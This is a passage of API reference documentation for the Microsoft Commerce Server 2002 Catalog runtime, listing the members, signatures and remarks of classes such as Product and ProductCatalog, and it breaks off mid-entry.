Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException Properties (BCL)

Public Instance Properties

Property | Description
CatalogName | Gets the CatalogName.
CategoryName | Gets the CategoryName.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CategoryNotFoundException.CatalogName Property (BCL)

The CatalogName property gets the name of the catalog.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogName As System.Object
[C#]
public System.Object CatalogName {get;}

Property Value

A System.String that contains the name of the catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CategoryNotFoundException.CategoryName Property (BCL)

The CategoryName property gets the name of the category.

Definition

[Visual Basic .NET]
Public ReadOnly Property CategoryName As System.Object
[C#]
public System.Object CategoryName {get;}

Property Value

A System.String that contains the name of the category.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCatalogModule Class (BCL)

The CommerceCatalogModule class is responsible for creating the default CatalogContext object for the site.

Public Instance Constructor

Constructor | Description
CommerceCatalogModule Constructor | Creates a new instance of the CommerceCatalogModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Event handler for HttpApplication BeginRequest events.

Public Instance Properties

Property | Description
IsInitialized(Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance has been initalialized.

Public Static (Shared) Properties

Property | Description
CatalogContext | Gets the default CatalogContext instance created by the module.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCatalogModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCatalogModule Constructor | Creates a new instance of the CommerceCatalogModule class.


CommerceCatalogModule Constructor (BCL)

Use this method to create a new instance of the CommerceCatalogModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceCatalogModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCatalogModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Event handler for HttpApplication BeginRequest events.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceCatalogModule.Init (HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The current HttpApplication instance.
[C#]
appInstance
The current HttpApplication instance.

Remarks

Subscribes to BeginRequest events.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCatalogModule.OnBeginRequest (Object, EventArgs) Method (BCL)

Use this method to handle HttpApplication BeginRequest events.

Definition

[Visual Basic .NET]
Public Sub OnBeginRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnBeginRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
The HttpApplication instance that sent the event.
e
EventArgs containing events.
[C#]
sender
The HttpApplication instance that sent the event.
e
EventArgs containing events.

Return Value

This method sets the CatalogContext member of the current CommerceContext object.

Remarks

Sets the CatalogContext member of the current CommerceContext object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCatalogModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized(Inherited from CommerceModule) | Gets a Boolean that is set to true when the CommerceModule class instance has been initalialized.

Public Static (Shared) Properties

Property | Description
CatalogContext | Gets the default CatalogContext instance created by the module.


CommerceCatalogModule.CatalogContext Property (BCL)

The CatalogContext property gets the default CatalogContext instance created by the module.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get;}

Property Value

The default CatalogContext instance created by the module.

Remarks

The value will be null if the CommerceCatalogModule object was not configured in the web.config file. ASP.NET pages should reference this through the CommerceContext.Current.CatalogSystem property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product Class (BCL)

Represents a product in a product catalog. A Product object should be referenced only on the page in which it was created.

Protected Instance Constructor

Constructor | Description
Product Constructor(ProductCatalog, String) | Creates a new instance of the Product class.

Public Instance Methods

Method | Description
Dispose | Releases the resources used by this object.
GetProductProperties | Gets the properties for the product.
GetRelatedCategories | Gets the category relationships for this product.
GetRelatedProducts | Gets the product relationships for this product.
GetVariantProperties(Object) | Returns the properties for a specific product variant of this product.
GetVariants(CatalogSearchOptions) | Returns the properties for all product variants of this product in the sort order specified in the searchOptions parameter.
GetVariants | Returns the properties for all product variants of this product in the sort order specified in the searchOptions parameter.

Public Instance Properties

Property | Description
AncestorCategoryNames | Gets the names of all categories that are above this product in the category hierarchy.
CanonicalCategoryPath | Gets the names of the categories that form a canonical path to this product. The first element in the array is a child of the "root" category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached.
CatalogContext | Gets the CatalogContext object that was used to create the ProductCatalog object to which this Product object belongs.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this product.
ParentCategoryNames | Gets the names of the categories that are immediate parents of this product in the category hierarchy.
PrimaryParentCategoryName | The primary parent category name is cached. Call the CatalogContextRefresh method to explicitly refresh this cached data.
ProductCatalog | Gets the ProductCatalog object that contains this product.
ProductId | Gets the product ID of this product.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases the managed resources.

Remarks

There is no public constructor for the Product object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product Constructor (BCL)

Protected Instance Constructor

Constructor | Description
Product Constructor(ProductCatalog, String) | Creates a new instance of the Product class.


Product Constructor (ProductCatalog, String) (BCL)

Use this method to create a new instance of the Product class.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal catalog As ProductCatalog, _
  ByVal productId As System.String _
)
[C#]
rotected Product(
  ProductCatalog catalog,
  System.String productId
);

Parameters

[Visual Basic .NET]
catalog
The product catalog. May not be null.
productId
The product ID field. May not be null.
[C#]
catalog
The product catalog. May not be null.
productId
The product ID field. May not be null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases the resources used by this object.
GetProductProperties | Gets the properties for the product.
GetRelatedCategories | Gets the category relationships for this product.
GetRelatedProducts | Gets the product relationships for this product.
GetVariantProperties(Object) | Returns the properties for a specific product variant of this product.
GetVariants(CatalogSearchOptions) | Returns the properties for all product variants of this product in the sort order specified in the searchOptions parameter.
GetVariants | Returns the properties for all product variants of this product in the sort order specified in the searchOptions parameter.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases the managed resources.


Product.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the Product.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this class and optionally to release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this method was called from the Dispose method, false if this method was called from the finalizer.
[C#]
disposing
True if this method was called from the Dispose method, false if this method was called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetProductProperties Method (BCL)

Use this method to get the properties for the product.

Definition

[Visual Basic .NET]
Overridable Public Function GetProductProperties( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetProductProperties(
);

Return Value

A DataSet containing a single DataTable with the product properties in it.

Remarks

Throws a CatalogException on error.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetRelatedCategories Method (BCL)

Use this method to get the category relationships for this product.

Definition

[Visual Basic .NET]
Overridable Public Function GetRelatedCategories( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRelatedCategories(
);

Return Value

A DataSet containing a single DataTable with the following columns: CategoryName, RelationshipName, RelationshipDescription, TargetCatalog.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetRelatedProducts Method (BCL)

Use this method to get the product relationships for this product.

Definition

[Visual Basic .NET]
Overridable Public Function GetRelatedProducts( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetRelatedProducts(
);

Return Value

A DataSet containing a single DataTable with the following columns: ProductId, RelationshipName, RelationshipDescription, TargetCatalog.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetVariantProperties (Object) Method (BCL)

Use this method to return the properties for a specific product variant of this product.

Definition

[Visual Basic .NET]
Overridable Public Function GetVariantProperties( _
  ByVal variantId As System.Object _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetVariantProperties(
  System.Object variantId
);

Parameters

[Visual Basic .NET]
variantId
The ID of the variant. May not be null.
[C#]
variantId
The ID of the variant. May not be null.

Return Value

A DataSet containing a single DataTable with the variant properties.

Remarks

Throws an ArgumentNullException if the variantId parameter is null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetVariants Method (BCL)

Use this method to return the properties for all product variants of this product.

Definition

[Visual Basic .NET]
Overridable Public Function GetVariants( _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetVariants(
);

Return Value

A DataSet containing a single DataTable with the variant properties.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.GetVariants (CatalogSearchOptions) Method (BCL)

Use this method to return the properties for all product variants of this product in the sort order specified in the searchOptions parameter.

Definition

[Visual Basic .NET]
Overridable Public Function GetVariants( _
  ByVal searchOptions As CatalogSearchOptions _
) As System.Data.DataSet
[C#]
public virtual System.Data.DataSet GetVariants(
  CatalogSearchOptions searchOptions
);

Parameters

[Visual Basic .NET]
searchOptions
SearchOptions object specifying sort order.
[C#]
searchOptions
SearchOptions object specifying sort order.

Return Value

A DataSet containing a single DataTable with the variant properties in the sort order specified by searchOptions.

Remarks

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product Properties (BCL)

Public Instance Properties

Property | Description
AncestorCategoryNames | Gets the names of all categories that are above this product in the category hierarchy.
CanonicalCategoryPath | Gets the names of the categories that form a canonical path to this product. The first element in the array is a child of the "root" category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached.
CatalogContext | Gets the CatalogContext object that was used to create the ProductCatalog object to which this Product object belongs.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this product.
ParentCategoryNames | Gets the names of the categories that are immediate parents of this product in the category hierarchy.
PrimaryParentCategoryName | Gets the name of the primary parent category of this product.
ProductCatalog | Gets the ProductCatalog object that contains this product.
ProductId | Gets the product ID of this product.


Product.AncestorCategoryNames Property (BCL)

The AncestorCategoryNames property gets the names of all categories that are above this product in the category hierarchy.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property AncestorCategoryNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection AncestorCategoryNames {get;}

Property Value

ReadOnlyStringCollection object that contains the names of all categories that are above this product in the category hierarchy.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

If this product is a root product, the returned array is empty.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.CanonicalCategoryPath Property (BCL)

The CanonicalCategoryPath property gets the names of the categories that form a canonical path to this product. The first element in the array is a child of the "root" category. The canonical path of any category is formed by looking up the primary parent of this category, the primary parent of that category, and so on until the root of the hierarchy is reached.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CanonicalCategoryPath As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection CanonicalCategoryPath {get;}

Property Value

ReadOnlyStringCollection object that contains the names of the categories that form a canonical path to this product.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

If this product is a root product, the returned array is empty.

Throws a CatalogException on failure.

In case of parent ambiguity, it arbitrarily chooses a random parent to be the canonical parent. This iterates through the parent chain and hence it can be a costly method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.CatalogContext Property (BCL)

The CatalogContext property gets the CatalogContext object that was used to create the ProductCatalog object to which this Product object belongs.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get;}

Property Value

CatalogContext object that was used to create the ProductCatalog object to which this Product object now belongs.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.DebugContext Property (BCL)

The DebugContext property gets the DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this product.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

DebugContext object for the CatalogContext object that was used to create the ProductCatalog object for the catalog that contains this product.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.ParentCategoryNames Property (BCL)

The ParentCategoryNames property gets the names of the categories that are immediate parents of this product in the category hierarchy.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ParentCategoryNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection ParentCategoryNames {get;}

Property Value

ReadOnlyStringCollection that contains the names of the categories that are immediate parents of this product in the category hierarchy.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

If this product is a root product, the returned array is empty.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.PrimaryParentCategoryName Property (BCL)

The PrimaryParentCategoryName property is a read-only string that gets the name of the primary parent category of this category.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PrimaryParentCategoryName As System.String
[C#]
public virtual System.String PrimaryParentCategoryName {get;}

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.ProductCatalog Property (BCL)

The ProductCatalog property gets the ProductCatalog object that contains this product.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProductCatalog As ProductCatalog
[C#]
public ProductCatalog ProductCatalog {get;}

Property Value

ProductCatalog object that contains this product.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Product.ProductId Property (BCL)

The ProductId property gets the product ID of this product.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProductId As System.String
[C#]
public System.String ProductId {get;}

Property Value

String that contains the product ID of the Product object.

Remarks

The value of this property is a copy of the value of the IdentifyingProductProperty property of the catalog containing this product.

The value of this property will always be "ProductID" for a virtual catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog Class (BCL)

Represents a catalog in the Commerce Server 2002 Product Catalog System. A ProductCatalog object should be referenced only on the page in which it was created.

Protected Instance Constructor

Constructor | Description
ProductCatalog Constructor(String, CatalogContext) | Creates a new instance of the ProductCatalog class.

Public Instance Methods

Method | Description
AddSpecificationSearchClause(String, String) | Adds a clause to a specification search handle and returns the updated handle.
BeginSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Begins a specification search of the catalog and get the property values available for specification.
Dispose | Releases the resources used by this object.
GetCatalogAttributes | Gets all the attributes of the catalog.
GetCategory(String) | Retrieves a Category object from the catalog.
GetProduct(String) | Retrieves a Product object from the catalog.
GetProductVariant(String, String) | Retrieves the information for a product variant.
GetRootCategories(CatalogSearchOptions, Int32) | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootCategories(CatalogSearchOptions) | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootCategories | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts(CatalogSearchOptions, Int32) | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts(CatalogSearchOptions) | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetSpecificationSearchClauses(String) | Gets the array of specification search clauses represented by the specification search handle.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
RemoveSpecificationSearchClause(String) | Removes the last specification search clause from the search handle.

Public Instance Properties

Property | Description
ActiveLanguage | Gets language in which data returned by this catalog object should be returned.
CatalogContext | Gets the CatalogContext object that was used to create this ProductCatalog object.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create this ProductCatalog object.
DefaultLanguage | Gets the default language for this catalog.
IdentifyingProductProperty | Gets the name of the property that identifies products in this catalog.
IdentifyingVariantProperty | Gets the name of the property that identifies variants in this catalog .
Languages | Gets all of the available languages for this catalog as an array of strings.
Name | Gets the name of the catalog.
PropertyNames | Gets the names of all properties defined for the catalog
SpecificationSearchableCategories | Gets a list of property names for properties that are searchable by the SpecificationSearch objects.

Protected Instance Constructor

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases the managed resources.

Remarks

There are no public constructors for the ProductCatalog object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog Constructor (BCL)

Protected Instance Constructor

Constructor | Description
ProductCatalog Constructor(String, CatalogContext) | Creates a new instance of the ProductCatalog class.


ProductCatalog Constructor (String, CatalogContext) (BCL)

Use this method to create a new instance of the ProductCatalog class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogName As System.String, _
  ByVal catalogContext As CatalogContext _
)
[C#]
public ProductCatalog(
  System.String catalogName,
  CatalogContext catalogContext
);

Parameters

[Visual Basic .NET]
catalogName
The name of the product catalog. May not be null.
catalogContext
The CatalogContext instance that is creating this ProductCatalog object. May not be null.
[C#]
catalogName
The name of the product catalog. May not be null.
catalogContext
The CatalogContext instance that is creating this ProductCatalog object. May not be null.

Remarks

Throws an ArgumentNullException if either parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog Methods (BCL)

Public Instance Methods

Method | Description
AddSpecificationSearchClause(String, String) | Adds a clause to a specification search handle and returns the updated handle.
BeginSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Begins a specification search of the catalog and gets the property values available for specification.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases the managed resources.
GetCatalogAttributes | Gets all attributes of the catalog.
GetCategory(String) | Retrieves a Category object from the catalog.
GetProduct(String) | Retrieves a Product object from the catalog.
GetProductVariant(String, String) | Retrieves the information for a product variant.
GetRootCategories(CatalogSearchOptions, Int32) | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootCategories(CatalogSearchOptions) | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootCategories | Gets the root categories in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts(CatalogSearchOptions, Int32) | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts(CatalogSearchOptions) | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetRootProducts | Gets the root products in the catalog and returns the results according to the searchOptions parameter.
GetSpecificationSearchClauses(String) | Gets the array of specification search clauses represented by the specification search handle.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
GuaranteedSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Performs a specification search guaranteed to return results if any products exist in the category being searched. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions, Int32) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[], CatalogSearchOptions) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
PerformSpecificationSearch(String, SpecificationSearchPropertyResult[]) | Performs a specification search and returns the matching results. The updated property values are returned through the propertyValues parameter.
RemoveSpecificationSearchClause(String) | Removes the last specification search clause from the search handle.

Protected Instance Constructor

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases the managed resources.


ProductCatalog.AddSpecificationSearchClause (String, String) Method (BCL)

Use this method to add a clause to a specification search handle and return the updated handle.

Definition

[Visual Basic .NET]
Overridable Public Function AddSpecificationSearchClause( _
  ByVal clauseToAdd As System.String, _
  ByVal searchHandle As System.String _
) As System.String
[C#]
public virtual System.String AddSpecificationSearchClause(
  System.String clauseToAdd,
  System.String searchHandle
);

Parameters

[Visual Basic .NET]
clauseToAdd
The TSQL Where clause to add. May not be null.
searchHandle
The existing specification search handle. May not be null.
[C#]
clauseToAdd
The TSQL Where clause to add. May not be null.
searchHandle
The existing specification search handle. May not be null.

Return Value

The updated specification search handle.

Remarks

Throws an ArgumentNullException if either argument is null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.BeginSpecificationSearch (String, SpecificationSearchPropertyResult[]) Method (BCL)

Use this method to begin a specification search of the catalog and get the property values available for specification.

Definition

[Visual Basic .NET]
Overridable Public Function BeginSpecificationSearch( _
  ByVal categoryName As System.String, _
  ByRef propertyValues As Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] _
) As System.String
[C#]
public virtual System.String BeginSpecificationSearch(
  System.String categoryName,
  out Microsoft.CommerceServer.Runtime.Catalog.SpecificationSearchPropertyResult[] propertyValues
);

Parameters

[Visual Basic .NET]
categoryName
The category to search. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.
[C#]
categoryName
The category to search. May not be null.
propertyValues
An array of SpecificationSearchPropertyResult objects.

Return Value

The specification search handle.

Remarks

Throws an ArgumentNullException if the catalogContext parameter is null.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.Dispose Method (BCL)

Use this method to release the resources used by this object.

Definition

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the ProductCatalog.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally to release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this method was called from the Dispose method, false if this method was called from the finalizer.
[C#]
disposing
True if this method was called from the Dispose method, false if this method was called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.GetCatalogAttributes Method (BCL)

Use this method to get all attributes of the catalog.

Definition

[Visual Basic .NET]
Overridable Public Function GetCatalogAttributes( _
